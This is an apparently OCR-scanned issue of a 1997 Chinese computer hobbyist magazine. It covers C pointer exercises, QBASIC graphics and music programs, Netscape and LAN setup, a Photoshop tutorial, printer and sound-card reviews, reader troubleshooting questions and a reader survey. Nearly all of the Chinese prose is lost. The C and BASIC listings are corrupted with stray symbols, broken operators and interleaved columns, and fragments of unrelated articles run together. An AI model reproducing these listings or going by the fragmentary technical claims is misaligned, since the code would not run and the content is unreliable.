printf ("%c\n", % (% (p+1) +2) + 1) +1);
printf ("%s\n", % (% (p+1) +2));

printf ("%s\n", * (p[11+1));

printf () 4 Y0 c
printf ()
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K

Yos static char s[] = "efghijl”;
char *p=s+5;
printf ("%s, %s,%d\n",s, &s[2],P -2);

: printf ("%c, %c,%c,%d\n", *p+1, % (p+1),, *
i (s+1),pl-21);
z }
Xyz 2.
pqrstuvw main ()
3 (
int a[3][5].1.j;

main () for (i=0:i<3:i+ +)

{ for (j=05j<5:j+ +)

int x,y; a[i“j]:i*5+j;

int add(); printf[”9%8d % 8d %8d % 8d % 8d % 8d\ n”, * a, % %
printf ("Enter x and y:\n"); (a+1),%(al11+2), % (*a+2),*(*a+2)+3));

scanf ("%d%d", &x , &vy); }

printf ("sum = ") ; 3

ss(x,y,add);
processix.y.a int all1=10,1,2,3,4};

} .

add(a.b) %nl *pll={a,a+1,a+2,a+3,a+4];
int a,b; int * % pp=p;

{ main ()

return(a+b); {
) printf ("%d, %d,%d\n",p, *p,* *xp);

printf ("%d, %d, %d\n",pp, * pp, * *pp);

process (x, y,fun )

int x,y; + +pp;
int (% fun) () ; printf ("%d, %d, %d\n",pp —p, *pp —a,* *pp);
{ PP =p;
int sum ; pp+ +; + + Xpp;
sum = (*fun)(x,y); printf (”%d,%d,%d\n”,pp—p, Xpp-a,* *pp);
printf(”%d \n”,sum) ; }
) 4.
Enter x and y: r{nam()
56

static int a[9];

sum =11
fun int *pl[3], % *pp,i;
for (i=0;i<9;i+ +)
process () add alil=i+2;
add for (i=0:i<3;i+ +)
intadd () process *(p+i) = &ali*3];
() fun pp=p+1;
(% printf ("%d, %d, %d\n",a[6],(* (p+2))[1], * (pp
[11+2));
fun)(x,y); add(x,y) )
5.
char *¢[]={"ENTER”,"NEW ,"POINT","FIRST "}
char * *cpl]l={c+3,c+2,c+1,c};
1. char * 3 *cpp=cp;
main () main ()
{ {
printf ("%s", % * + +cpp);
printf ("%s", % — — % + +cpp);

printf ("%s", % cppl - 21 +3);
C T prtf st p =L
}
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1.42
2.a=6.50,b=9.00

3.

11
1 2
1 3

1 10
2 9
3 8

12
13
14

— HEM TS

struct <

{

struct

struct <

struct card {

C

.50.

> <

c2

card

int pips;
char suit;
fel,e2, *pe,card[52];
card int
pips char suit
4 cl
pc
52
card

Z BT FHBRALAE

1.
cl cl.pips
cl.suit
pe
pc—>pips pc—>suit
2.
cl
cl.pips =5;cl.suit ='s’
s’ cl 5
pc c2
pe = &c2 pe
pc—>pips = 7;p—>suit = 'h’
Vh/ pC
7 <2 7
card[52] 0 A

card[o].pips = 1;card[o].suit = "¢’

card
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@ H Internet B a0 S 3w 13

[
10 1 (CERNET)
CERNET
1KB
CERNET
Netscape Navigator Internet
Netscape Navigator
1. Netscape
Netscape
Netscape
Home Page,
Netscape
Home Page Home Page
Home Page
ﬂw Internet
Internet
K Internet K Intranet

(Homew dVN(-‘t)

ASTAQ (W) EEAL AP ERNHEFHIEN

A AR TR RS *EXBEREERFRS
64601323 64601324 64601325 62535410 62535431

http://WWW .homeway .co.cn Fax :64601332
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Options |
General Preferences | Appearance, Start With
Blank Page, Netscape
2.
WWW
640 X 480 16
153.6KB 256 307KB
Images
Options Auto Load Images
Options | Save
Options Netscape
3.
CERNET
CERNET
CERNET CERNET
FTP ftp://pub/mirror
4.

.51



[y

Fo AT £ 22 s B A I M

[
CD -ROM
CD -ROM
FTP Gopher Whois
Home Page Options | Show
Active New sgroups
Home
Page
7.
K
5. ©
® o 3
m & 1/ Wl ; 2
—COMPAQ
M Windows NT Novell INTERNET
WINDOWS NT3.51 NET-
WARE3.12 NETWARE4.1 UNIX
INTERNET
6. Netscape
100084

.52,

010 62784710 62783595
010 62785841 BP 62047788 — 26727
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P

(Ethernet) ,
10BASE—T Ethernet
2.
Peer
2~20
3.

Novell Netware,

M-
crosoft windows3.1
OFFICE Windows For
Workgroups
windows3.1 Windows3.1
NetBEUI, TCP/IP,IPX/SPX,
4.
Windows
Workgroups
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Windows For Workgroups,

6M B

20M B Intel386

2.
3.

(100 )

1 HUB
| 1] | 2] | 3]
| | |
— |

4] [ s H |

BH1 RM&EHE

170

EtherDisk For the

Etherlink [l Family v4.2

©) “ 3COM ISA
@)
@ " ”

“ 1/0 ”

AUTOEXEC.BAT

.53.



<

Internet

L.http://www .serv.net/ ~montoure/iwhmw .html/

Robert Wise Juhe Harris

Bill Dullman
Chilling to Watch *

2.http://www .natg.com/

3. http://www .agfahome.com/
Agfa

4 .http://home.earthlink .net/ ~ photortavel

5.http://www —norwestart.mr.net/

6.http://www .dailysoccer.com

7.http:// www .fine — art.com fineart

8.http://www .dogworldmag.com

@

KHME Internet BRER 1l %

9 30 Internet

130 Internet
1 30 Homepege
130 Internet
1 30 BBS
78

62552584 62627809 62552583

2.Windows For Workgroups
Windows3.1

Windows

Microsoft
Workgroups ADD - ON
Windows

Microsoft NetBEUI & IPX/ SPX

WFW

Read — Only,
Full, Depends On Password

.54.

3. CD -ROM AUTOEXEC.BAT
MSCDEX.EXE/S MSCDEX.EXE
2.21
4. WEW

Chat ,NetWatcher, WinPopup, M ail

M ail

M ail

©
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SCREEN 12, 0: CLS
PALETTE 0, 8200: PAINT (1, 1), 1
FORQ = 0TO 20
FORN = 1TO 15
x = INT(RND * 640)
y = INT(RND * 140)
PSET (x, y), N
NEXT N
NEXT Q
r = 3.1416
CIRCLE (490, 80), 50, 14, r /.7, r /3.7
CIRCLE (510, 90), 50, 14, r / .78, r /2.5
PAINT (550, 85), 14
LINE (45, 200) - (80, 480), 3, BF
FOR t = 155TO 395 STEP 30
LINE (80, t)-(t - 3,t + 15), 9, BF
NEXT t
FOR t = 140 TO 380 STEP 30
LINE (80, t) - (t + 15, t + 15), 8, BF
NEXT t
LINE (74, 130) - (140, 480), 8, BF
LINE (140, 130) - (155, 140), 8
PAINT (141, 133), 8
LINE (40, 480) - (600, 410), 6, BF
FOR t = 200 TO 360 STEP 40
CIRCLE (110, t), 15, 11
PAINT (110, t), 9, 11
NEXT t
FORt = 120 TO 520 STEP 80
LINE (1, 480) - (t + 30, 440), 12, BF
NEXT
ON TIMER (1) GOSUB light: TIMER ON
ON PLAY (3) GOSUB subplay: PLAY ON
play $§ = "t1401803fffall6eeeel8egdddec2p64"
PLAY "mb x" + VARPTR § (play § )
DO
FORw = 1TO 15
CIRCLE (w * 38 + 15, 406), 4, 7
PAINT (w * 38 + 15, 406), 7
NEXT w
FORt = 1TO 14
LINE (79, 95) - (136, 128),t - 1, B
LINE (77, 93) - (138, 130),t - 2, B
COLOR t + 1
LOCATE 7, 11: PRINT "PLAYBOY"
LOCATE 8, 11: PRINT " WORLD "
LOCATE 24, 57: PRINT "PLAYBOY WORLD"
FORp = 1TO 8

Computer Fan 1997 .3.

LINE (449 — p % 2,369 — p * 2) - (550 + p * 2,
382 + p*x2),t -p,B
NEXT p
FOR h = 1TO 2000: NEXT h
NEXT t
key $ = INKEY $
IF LEN (key $ ) THEN keyss = ASC(key $)
LOOP WHILE keyss < > 27
END
subplay :
PLAY "mb x" + VARPTR §$ (play $)
RETURN
light :
FORd = 1TO 15
CIRCLE (d * 38 + 15, 406), 4, d
PAINT (d * 38 + 15, 406), d
NEXT d
CIRCLE (281, 406), 4, 4: PAINT (281, 406), 4
RETURN

QBASIC VGA
&
Ak
(3830 Rk K )ik X R
O
1996 11
3785 5067 6926
1366 1630 4847
9400 5071 3122
1940 3940 4774
2957 2110 7178
4862 8796 1068
6700
®
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2.
3- 9
22,440 s
4" " “ " PC-
TOOLS
5.
6.
7. “ K
169, 210 s
(17,15) 187 64
19 249 432 125
132 410
8.
9.
45 ( )
+ +
+ + +
RPG “
" PCTools,
Rn.Grp ( n=1, 2,
)
1. PCTOOLS
(sector) 0000001
.56.

L
e
~)-
55—
S
1"»

(Displacement ) 0400(0190)

FF

11 2 16 11 16
( 2 ) 11
64 100
2.
(sector ) 0000000
(Displacement ) 0032(0020)
FF
16
( 255)
198
2300
1400
3A00
3E00
6D 00 20
7800 5 20
& BRI AR M S KD
0000 0100 0200
0300 0400 0500
0600 0700 0800
0900 0A 00 0B00O
0C00 0D00 0E00
0F 00 1000 1100
1200 1300 1400
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1500 1600 1700 7800 7900 TA 00
1800 1900 1A 00 7B00 C000 C500
1B00 1C00 1D00
1E00 1F00 2000 7C00 D00 TE00
2100 2200 2300 7F00 3000 3100
2400 2500 2600 8200 8300
€400 8400 8500 8600
8700 8800
2700 2800 2900 8900
2A00 2B00 2C00 8A 00 8B00O 8C00
2D00 2E00 2F00 8D00 8E00 8F00
3000 3100 3200 9000 9100 200
3300 3400 3500 9300 9400 9500
3600 3700 3800 9600 9700 9800
3900 3A00 3B00 9900 9A00 9B00
3C00 3D00 3E00 9C 00 9D 00 9E 00
3F00 4000 4100 9F 00 A 000 A 100
4200 4300 4400 A200 A300 A 400
4500 4600 4700 A500 A 600 A700
4800 4900 4A00 A 800 A 900 AAO00
4B00 4C00 4D00 ABOO ACO00 ADOO
4E00 4F 00 5000 AE00 AF00
5100 5200 5300 B000
5400 5500 5600 B100 B200
5700 5800 5900 B300 B400 B500
5A00 5B00 5C00 B600 B700
5D00 SE00 5F00 B800 B900 BA 0O
BB0OO BCO00 BD00O
6000 6100 6200 BEOO )
6300 6400 6500 BF00 C100 C200
6600 6700 6800 €300
6900 6A 00 6B00
6C00 6D 00 6E 00
6F 00 7000 7100 “ "
7200 7300 7400 “ "
7500 7600 7700 @
A2 3
28
1,,31; e GRE s
+ ( )
iR
S SO 88 .
e : “
' M Word 6.0 Excel 5.0 Fox- f;
H ¢ Pro 2.5 for Windows Windows 3.2 L
e f
i =
S JUAE 4R i, A JLBE I RAR ( 1 88 1,
073209 — 57 62531749 62531750 62541347
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o

b2 718X 6174 B ik ifE B

0

6174 6174

495

6174

DIM a(4)
INPUT a(1), a(2), a(3), a(4)

DO UNTIL a(1) % 1000 + a(2) * 100 + a(3) * 10 + a

(4) = 6174

FORi=1TO 3
FORj =i+ 1TO 4
IF a(i) < a(j) THEN

END IF
NEXT j

NEXT i

b = a(1) * 1000 + a(2) * 100 + a(3) * 10 + a(4)
c = a(4) * 1000 + a(3) * 100 + a(2) * 10 + a(l)

q=>b-c¢c

PRINT b; "=";¢; "="; q;

a(l) = INT (q / 1000)

a(2) = INT (q /100) - a(1) * 10

a(3) = INT(q /10) = a(1) * 100 - a(2) * 10

a(4) = q - a(1) * 1000 — a(2) * 100 - a(3) * 10

LOOP

END
OK.RUN
74371
7431 - 1347 = 6084
8721 — 1278 = 7443
9963 — 3699 = 6264
7641 - 1467 = 6174

8640 — 468 = 8172
7443 - 3447 = 3996
6642 — 2466 = 4176

495
©

pC
PC

CLS
SCREEN 0
LOCATE 11, 30: PRINT "Turkey Empior March”

A'$ = "T'13203L16DCO2BO3CD # 4FD # DD # G4G #
GF # GO4DCO3BO4CDCO3B0O4CD # 4C8D # 8D8C8O3A #

804C8D8CBO3A #804C8DBCSO3A # 8A8G4”

B$ = "G8G # 8A #8A #804C1603A # 16G # 16G 16F 4"

C$% = "D#8F8GBGEG # 16G 16K 16D # 16D4”

D$ = "03L16DCO2BO3CD #4FD # DD # G4G # GF
#G04DCO3BO4CDCO3BO4CD #4C8D8D # 8D
8C803B804C803GS8G # 8F8D # 4D4C4”

E$ = "04L8CDE4CDEDCO3BAB0O4CDO3BG0O4CDE4
CDEDCO3BA04D03BG04C4”

.58.

F$ = "O4L16EFEDCDCO3BA0O4CO3BAG # ABG #EF
#G #EAG # ABO4CO3BO4CDED #ED #”

G$ = "04L16EFEDCDCO3BA04CO3BAGABGEF
#GEF #GAF #D #EF #D # E4”

H$ = "04L16ED # EC # FEFEFEFEFEDCO3BO
4CDO3BO4CDEO3AG # ABG # A4”

1$ = "03L16GFEDCDEFGABO4CCO3BAGGFED”

J$ = "O03L16CDEFGABO4CC # 8D8"”

K$ = "O3L16EGCEDFO2B0O3DC4”

PLAYA$ + A$ +B$ +B$ +C$ +C$ +D$
+E$ +E$ +F$ +G$ +F$% +G$ +18%
+J% +1% +K$ +F$ +H$ +E$ + A$
+A% +B$ +B$ +C$ +C$ +D$

S>PFIIIIBIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDY

>4

A

A

A - -

Y R AR EEY
A

A O

)

A

)

A 1996 9 i

A 16M v
A v

)

A

)

A

A

A Pctools5.0 main .exe “F”

E 7508B801009A 12 “ 75" “ 4" F5”
A ©

€ €€ CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC®

€€ CCCECECECECECECECCCCCCCCCCCCCCcCcCcCc<<®

<
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PHOTOSHOP (

[
PC “ . ?
PHOTOSHOP
WINDOWS
PHOTOSHOP

® Brushes
©

PHOTOSHOP
INTOSH

WINDOWS MAC-
PHOTO-
SHOP 3.0 FOR WINDOWS

MACINTOSH

PC
PHTOSHOP
PHOTOSHOP
File
NEW
NEW

WINDOWS

OPEN

Computer Fan 1997 .3.

NEW #f#&4E
name:
Height:

Mode:
RGB

"Image Size:"

A2

*

*

*

*

*

*

—EH-NELGHK

SHOP
BRUSHES

Width :

Resolution :

Contents

<OK >

PHOTO-

.59.



~ -
8 o r
. » o v
o~ +® »
"
- v 7@
A3 keI
B4 FR
BRUSHES
Hs pdXEL
APPEND BRUSHES
PHOTO-
SHOP BRUSHES DOS
CUSTOM . ABR( )  DEFAULT.ABR
( ) SHADOWS.ABR ( )
<0OK >
PHOTOSHOP
BRUSHES

DEFINE BRUSH

s

SAVE BRUSHER

.60.

He *MhaLisR

=~ tHETA
PHOTO-
SHOP
WINDOWS BRUSH
TOERANCE
PHOTOSHOP
<SHIFT >
<CTRL >
325 < shift >
<ctrl >
A

H7 WMELEFE.FF
1. 2.
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SELECT Feather ( )
8 3. copy 4. 3.
7 8 Image Effects Scale

W T EN] |§J

RUBBER STAMP( )
2.
3.
A 11 cut
9~11
=aExn od
MOVE
MOVE B 13 BEBEAH. Y
ALT +
HAND MOVE MOVE «
PHOTOSHOP
HAND .
j@ DODGE BURN
ZOOM DODGE
Alt + BURN DODGE

BURN Alt +

|<>I BLUR SHARP-
EN Alt +

BLUR SHARPEN
+Alt

13 1. I.ﬂ

2. 100 A A ERT—AHEG

S
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b

x = INT(RND(TIMER) * 10000)
DO

( ) INPUT y
IF x > y THEN PRINT ”

Ny L ~ a‘, I"‘ IF x < y THEN PRINT " . N
Al a i
/63 3&4 %7]( /f/F ;j},’f_ %’] LOOP UNTIL x =y

L]

PRINT " 1
END

“ BUG”

CLS

DO

a% = INKEY §

IFLEN(a$) <> OTHEN
b$ = SPACE $ (1)
FORi = 1TOLEN(a$)

CLS
RANDOMIZE TIMER

PHOTOSHOP
#A
PHOTOSHOP _!-}
B
1. i :
PHOTOSHOP
PHOTOSHOP
2. N Y |
3. L A e S
PHO- B 14 AR
TOSHOP CD - ROM
4. photoshop
[ Adobe Photoshop
« Save changes to the Adobe Photoshop document “Untitled-1"
. belore closing?
Fes [ & | [ cancer |
COPY A 15
<Yes>
5.

.62. W E AT 1997 3.



t(i) = ASC(RIGHT $ (LEFT $ (a$, i), 1))
b$ =b$ + "+CHR$ (" + STR$ (t(i)) + )"
NEXT
PRINT a$, LEN(a$), b $

END IF
LOOP UNTIL a$ = "q"

END

F1=CHR $ (0) + CHR $ (59) F7=CHR $ (0) + CHR $ (65)
F2=CHR $ (0) + CHR $ (60) F8=CHR $(0) + CHR $ (66)
F3=CHR $ (0) + CHR $ (61) F9=CHR $ (0) + CHR $ (67)
F4=CHR $ (0) + CHR $ (62) F10=CHR $ (0) + CHR $ (68)
F5=CHR $ (0) + CHR $ (63) F11=CHR $ (0) + CHR $ (133)
F6=CHR $ (0) + CHR $ (64) F12=CHR $ (0) + CHR § (134)
ESC =CHR §$ (27) Backspace = CHR $ (8)

t =CHR$(0)+CHR$(72) | =CHR$(0) + CHR $ (80)
—=CHR$(0)+CHR$(77) <« =CHR$(0)+CHR$ (75)

0
Insert = CHR § (0) + CHR $ (82) Delete =CHR $ (0) + CHR § (83)
Home =CHR $ (0) + CHR $ (71) End =CHR $ (0) + CHR $ (79)
Page Up=CHR $ (0) + CHR $ (73)

Page Down=CHR $ (0) + CHR § (81)

Cirl+F1 = CHR $ (0
Ctrl+F2 = CHR $ (0
Ctrl+F3 = CHR $ (0) + CHR $ (96
Ctrl+F4 = CHR $ (0) + CHR $ (97

+CHR $ (94)

)

)

)

Ctrl+F5 = CHR $ (0) + CHR $ (98)
)

0

1

)
) +CHR $ (95

Ctrl+F6 = CHR $ (0) + CHR $ (99
Ctrl+F7 = CHR $ (0) + CHR $ (10
Ctrl+F8 = CHR $ (0) + CHR $ (10
Ctrl+F9 = CHR $ (0) + CHR $ (102
Ctrl+F10 = CHR $ (0) + CHR $ (103
Ctrl+F11 = CHR $ (0) + CHR $ (137
Ctrl+F12 = CHR $ (0) + CHR $ (138
Ctrl + =CHR $ (0) + CHR $ (116)
Ctrl + =CHR $ (0) + CHR $ (115)
Ctrl + Backspace = CHR § (127)
Ctrl + Enter = CHR $ (10)
Alt+F1 = CHR $ (0) + CHR $ (104)
Alt +F2 = CHR $ (0) + CHR $ (105)

)

)

)
)
)
)
)
)

Alt +F3 = CHR $ (0) + CHR $ (106
Alt +F4 = CHR $ (0) + CHR $ (107
Alt +F5 = CHR $ (0) + CHR $ (108)
Alt +F6 = CHR $ (0) + CHR $ (109)
Alt +F7 = CHR $ (0) + CHR $ (110)
Alt +F8 = CHR $ (0) + CHR $ (111)
Alt+F9 = CHR $ (0) + CHR $ (112)
Alt +F10 = CHR $ (0) + CHR $ (113)
Alt +F11 = CHR $ (0) + CHR $ (139)
Alt +F12 = CHR $ (0) + CHR $ (140)
Shift + F1 = CHR $ (0) + CHR $ (84)

Computer Fan 1997 .3.

Shift + F2 = CHR $ (0) + CHR $ (85)
Shift + F3 = CHR $ (0) + CHR $ (86)
Shift + F4 = CHR $ (0) + CHR $ (87)
Shift + F5 = CHR $ (0) + CHR $ (88)
Shift + F6 = CHR $ (0) + CHR $ (89)
Shift + F7 = CHR $ (0) + CHR $ (90)
Shift + F8 = CHR $ (0) + CHR $ (91)
Shift +F9 = CHR $ (0) + CHR $ (92)
Shift + F10 = 0 3

)
Shift +F11 = CHR $ (0) + CHR § (135)
Shift + F12 = CHR $ (0) + CHR §

0 9

CHR $ (0) + CHR $ (9
( (1
( (1

Quick BASIC

REM
SCREEN 12: CLS
=50:a = 3.14159 / 180: q = 0
WINDOW ( -200, 200) — (200, - 200)
DO
a$ = INKEY §
SELECT CASE a $
CASE CHR $ (0) + CHR $ (77)
q=4q + 1: CLS
CASE CHR $ (0) + CHR $ (75)
q=q - 1: CLS
CASE CHR $ (0) + CHR $ (72)
r =1 + 1: CLS
CASE CHR $ (0) + CHR $ (80)
r=r - 1: CLS
END SELECT
x1 = COS(a * (q + 180)): yl = SIN(a * (q + 180))
x2 = COS(a % q): y2 = SIN(a * q)
LINE (200 * x1, 200 * yl) (200 * x2, 200 * y2)

x3 = COS(a * (q +90)): = SIN (a * (q + 90))
x4 = COS(a *x (q + 60)): = SIN(a * (q + 60))
x5 = COS(a * (q + 20)) = SIN(a * (q + 120))
x6 = COS(a * (q + 30)): y6 = SIN(a * (q + 30))
x7 = COS(a * (q+ 50)): = SIN (a * (q+ 150))
al = .5:a2 = .3
LINE(r’x47’<dlr‘\dl*y4)—(r>'<al‘r'\‘x5,r*
al * y5), 2

LINE (r*x3,r7'<y3)—(r*al"\‘XS,r‘kal*yS),Z

LINE (r % x4 % al, r % al * y4)—(r * x3,r % y3),2
LINE (r*x6"<a2,r‘ky6>'<a2)—(r"\’x7*a2,r‘r'\‘y7
* a2), 2
LINE (r * x3, r * y3)—(r * x7 % a2, r % y7 % a2), 2
LINE (r % x6 % a2, r % y6 % a2) - (r * x3,r * y3), 2
LINE (0, 0) - (r * x3, r % y3)
LOOP UNTIL r > 200
END

(F4)



A (photoshop 4.0) >

) v
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1997 5 30

48 100081 lm—j
“ XX 1997
6 7 v
)z4
T
VEX N 5]%0<<%ng%%ﬁm@\(m%ﬂu%ﬂ)m@ (AR O R IR @ @ BT A
W R 0 IR A, B DA N B R R
%—2 (
s = "%;4% — 4%
s | .
! BJC - 610 WA 5000 T
%= %% —%
BJC - 4200 A4 3000 7T
=5¥ =%
_ MME25 2000 7T
44 4 2 A w7 4 D6 =240
i - 30 é bt Z+4
+ 18 J I R & o
T CD
ST F‘] “F' 42 78 2 A% 150 %
Hﬁ%f.’ P‘ ¢l ;3 ‘l \‘;3:2 EYEA



1996

1996
pPC 1996
25% ESPON

SOHO :Small Office and
Home Office

LEXMARK
SOHO
— LEXMARK CJ-1020 CJ -2050"
CJ - 1020
600 > 300dpi
HP500C CJ - 2050
5 600 < 600dpi

.66.

BJC -210S

360 * 360dpi,
720 * 360dpi, -

3-4 / updated
BJ Setup U-
tility
1500 BJC -210S
T
TR - 101 T
GP - 101
FS -101
CF -102
“ Photo " Photo

BJC -240 BJC -4200 BJC -4550 Photo

BJ

1984
3

HP DeskJet 200 Hp DeskJet 690C  DeskJet

870Cxi DeskJet 690C
5.5
HP Colour Smart
DeskJet 870Cxi
8 / 4 7/
26 150  TrueType

DeskJet 200
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U]
1997 1
3.MIDI MIDI
MPC MIDI 128 MIDI
M1DI
MIDI MIDI MIDI MIDI
MIDI 4. DSP
FM ( ) OPL -3 DSP
DSP
DSP FM
* (WAVE TABLE)" ADC ( )
(FM) DSP
ROM MIDI 5.ASP( )
SB16 ASP
DAC ASP 180
O N
! ? 720dpi
“ " SV - 868
986 50% 1996 11
BJC - 210S — HP LaserJet5Si,
1.8Kg
HP Transmit Once
HP51604A
180mm 384 % 600 * 600dpi 120
192dpi
LQ 1600K
EPSON
MJ - 850K

“ EPMACH ” ©
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x

SB16
(ASP) DSP
16 44.1KB
CPU
1 8K
500
ASP
ASP
ASP
SB16 ASP 10
SB16 SB16 ASP
ASP
6.
ROM
ROM
SB16
WAVE BLASTER SB16
SB16 ASP 4M B
(SOUND BANK)
MIDI 128 18
40 32
32
MIDI Blaster PC
MIDI 128
92 46 20
WACE BLASTER
WAVE
BLASTER
7. (3D)

.68.

3D
Sound Blaster
AWE32 3D
AZTECH 3D Sound
Galaxy WaveRider PRO 32 - 3D
3D SRS ( ) Wa-
veRider
PC 3D
8.1/0
CD -ROM
SCSI
CD -ROM SCSI
AT -BUS IDE PANA-
SONIC MTMSUMI SONY CD -ROM

Win95
Win95
Win95

SOUND BLASTER AWE32 PnP AD LID

ASB 3D Wave PRO

10.
170

11.

WAV

DMA IRQ

JUMPER ( )

WAV CD MIDI

MIDI

(&XLR)
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( 1997.1.25)

CPU  Intel120M Hz 1020 Cyrix P150 + 1050
8MB4 EDO 210 8MB16 205
ATC -2000 1050 MS - 5128Hx 1030
1.7GB 1600 1.2GB 1350
4 650 4 580
SONY 170 170
Tr - 9680 220 Tr - 9685 430
16 145 100 150
( 1997.1.25)
\ 1 2 3
/ ucbos WIN 95
V - FoxPRO Visual C+ + Turbo CAD
CCEDS5.03
MIS MIS MIS
KV300
CDh/
/
Intel 120M hz CPU
; Cyrix P150+ CPU
Cyrix 6x86 L. P150 +
2.8
1050
Intel 120M hz CPU 30 CPU

EMO DRAM

Computer Fan 1997 .3.

1996

MS - 5128HX
ATC - 2000HX

Seagate  Quantum

1.2GB
5400R /M in 3600R /M in
1.2GB
10% 10%
Tr -9680
Tr -9680
Pentium 100MHz CPU
Pentium 120 45
/ Tr -9685 Tr -9680
3D s
MMX Intel
1997 3 “ " ©

.69.



B T % e A o, %

Rtk AL A TH— & B &
KRR I 24T h? KA, B TR — & B EAT
T AUBEFERILTLA —RAASHGE
RERAE THARB—RFAZ? B—KHF7
~~~~~~ AL O THAL, AHRRAR A TR R, CPU
BT — AR A A BB G INARE 2 AHFZAF

A

A B . BTtRAESFRA S

1.
2.
3. CPU
5. ‘ "
EDO (% FEF)
(creative) C £ . aefMueimgiT!

(T FRA)
B®E BTiteAMREE
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CPU
CPU
CPU

P/P55T 2P4

15
GOLDSTAR SANYO

QAPLUS SPEED SYSCHK PCBENCH WIN-

STONE 8.0 NDIAGS SYSINFO PC-
TOOLS9.0 SI CDTA  SCANCD
XING
2.0 XING
2.0
24

3DS PHOTOSHOP WORD

CPU

(K& i)
D & . foREZRIFEYIE , MR IRZEMN

Computer Fan 1997 .3.
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E & . AR R — R

CPU

(#5%

A7)

AT )
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CHT
CHT
200
( ) ( ) ) (
) ( ) ( )
280
GB > BIGS
280 Gump
( ) ( )
) ( ) ( ) ( ) ( ) ( )
280 1] ” 1]
Pig iz B B E AR
)
60

795

60

.12,

95

CD

TXT RTF
MPG

60

CDh

CD
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POy Py oy Pony poy oy
| B N }% é 3
frad el had had had fae
1100081
:(010)62184019
:62171721,62171647,62171677
162184020
162176018, 62177399
162174588
:26688221,26688530( )
Internet thttp://www .cfan.cn.net

E —mail :cfan @netchina.co.cn

1201050474 - 19

48
,
b 2 2
,
,
, >
; ,
>
97’
1 25
, 97
>
,
“ Internet Internetiquette"
“ n
“ memmaker"

Computer Fan 1997 .3.

“ 1996 12
, 100
, XT
734200)
!
QBASIC ,
!n(
386, VGA , 1M ,101
5 , 4-~5
6714112)
48

675000)

:CPU

n(

286

,3

236300 0558 -

100081

.73.




9 486 CMOS
“ Starting MS-DOS ..."
CMOS
* Memory parity check" Disable

Enable, RAM PARITY ERROR -
CHECKING FOR SEGMENT...OFFENDING
SEGMENT : 000, press F1 to disable NMI, F2 to re-
boot F1 F2

KV200 KV300 KILL

PASSWORD
PASSWORD
COMS
MEM PARITY CHECK
ENABLE CMOS

CMOS

CMOS
RESET

CMOS CMOS
CMOS

CACHE

PC,386SX -25 ,
s COM 1
, COM2,
WINDOWS >

oPTI

V)

COM2,
COM1,

9

DOS MSD COM

9 COM1 25
Com 1

Windows
2 Switch

? 486DX 2/80 , 8M , Panasonic2
. , Triton 9440
PWINO9S | XING2.01 XING3.0 VCD

s “ MMSYSTEM 296 MCI

.74.

: 2 ' ’
“ VCDCOPY" VCD DAT
. ?
XING OPEN VIDIOCD
CD -1/ MOVIE
FILE - OPEN
* .DAT
WIN 95 CD ROM 486
BIOS PLUG AND PLAY
WINO9S DOS
CD ROM

OPEN

MPEGAV

)

9 COMPAQ 4/ 66 486 s

. , 162system not
, 3.5 A

s del

CMOS s CMOS

set",

162 COMPAQ
CMOS CMOS
COM-
PAQ CMOS DEL F10

486/66, &M , 540M s
FIFA96

DOS , AST 486/66

N\

FIFA96 D0S5.0
WINO95( WIN95 )

F8 EMM 386.EXE,
( HIMEM, , )

IBM PC R MSDOS 6.0 SP-
* DOS6.0, SPD0S6.0 WPS3.0

" not enough memory to print"

MEMMAKER
SPDOS
/N CONFIG.SYS
, 40 WPS

/0/E
FILES
WBX

i EAFE 1997 3.



1996 12

2 1 3 2 5 4
690 6 5 7 0 2356
7 210
=119+4+n x 210
2 1 210
3 2 5 4
6 5 7
C
1 1 /% * /
int lem (m,n)
7 int m,n;
{
7 7 7 int t,r,k;
2 k=m¥n;
if(m <n)
14 {l:m;
m=n;
n:l;}
r=m%n;
5 4 while(r! =0)
4 9 {m =n;
n=r;
? 7 nx r=m%n;}
10+7 x7 n=0,1,2,3... 49 k=k/n;
70 6 5 return(k); }
/ */
302 6 5 “.
main ()
119 { int a,b,c,m,i,x,k=7;
int 1[10] =1{2,3,5,6,7};
m=1[0];
for(i=1;i<4:i++) /* 2356 */
m =lem (m,I[il);
a=m;
b=lem(m,k); /* 23567 */
1 c=a-1;
2356 1 2356 while(c%k!=0) /% */
c=c+a;
30 =30xn-1 n for(i=1;i< =10;i+ +)
7 {x=c+(i-1)*b;
X 2 1 3 printf("x(%d)=%d\n",i,x);
}
X 3 2 X 2 2 }
X . P PP }43,4*/4*4«,,,*/1«4«/4«45,,«/4«1a;,,«qax,,*q«4«,,,*/1*,4«q«154«/4«&,,«/4«15,,%4*4&4?
5 I
4 X 6 5 X { &
30235 5 X oo s 450002
7 0 X 302356
. . 1997 3
7
°© ° 7 (9 Bakdess)
B Gkt
42 > 4 1997 4 20
48 100081
119 3

Computer Fan 1997 .3. .75.



(BRIZGEEN FEEER

1 28.11% 16. 47% 2.81%
DOS 48.3% Windows 3.x
37.43% Windows 95 12.17%
UCDOS 60.19% DOS 10.47%
5.24% 19.94%
B 3.55% 0.93%
60.90% 23.59%
18 25.57% 18 35 14.5% 3.04
69.86% 35 50 3.5% 40.44% 21.82%
50.86% 39.85% 19.77% 6.55%
8.31% 5.26%
49.52% 5.64% 22.0%
25.37% 13.29% 18.0%
0.72% 16% 16.0% E -
53.96% MAIL 14. 0% 10.0%
35.89%
49.39% 45.9% 50.37%
4.05% 33.67% 9.23% 6.73%
0.61%
685 22.16% 19.03% 14.57%
35 14.57% 14.30%
> 9.47%
35 21 24. 31%
18.43% 14.48%
35 13.59% 13.04% 10.61%
3.43%
Windows3.x Windows95
RENRERE REAGER bos
DOS  Windows
61.72% 23.499
1:2.7 386 486 586 DOS Windows
6.11% 33.2% 44.66% Win.
48.72% 36.66% dow's
6.73% 4.41%, DOS DOS
1.39% Windows
19.28% 32.40% CD -ROM 586 486
Computer Fan 1997 4. 9.



Windows Win95

1BE 5D e EeyiRIZ

40.94%
32.27%
8.68%
2.13%

10.35%
3.96%

99.24%
60.19%

12 &3 AP eHINE Fof 2

48.55%
3.62%
: 5.9

45.89%

100
9.80%
28.19%
22.55% 23.77%

12.99% 2.70%

19.56%
11.81%
2.58%

55.72%
18.82%
11.07%

2.21%

53.14%
14.02%
9.59%

1.11%

6.13%
2.68%
0.96%

15.68%
4.78%

1.34%

0.19%

7.07%
3.63%
1.34%
1996

1997

.10.

97

1997
71.73%
32.26% 21.59%
19.15% 9.90%
8.74%
84.88%
13.66% 1.46%
94 .44 %
!
@
N = 9
JRT97

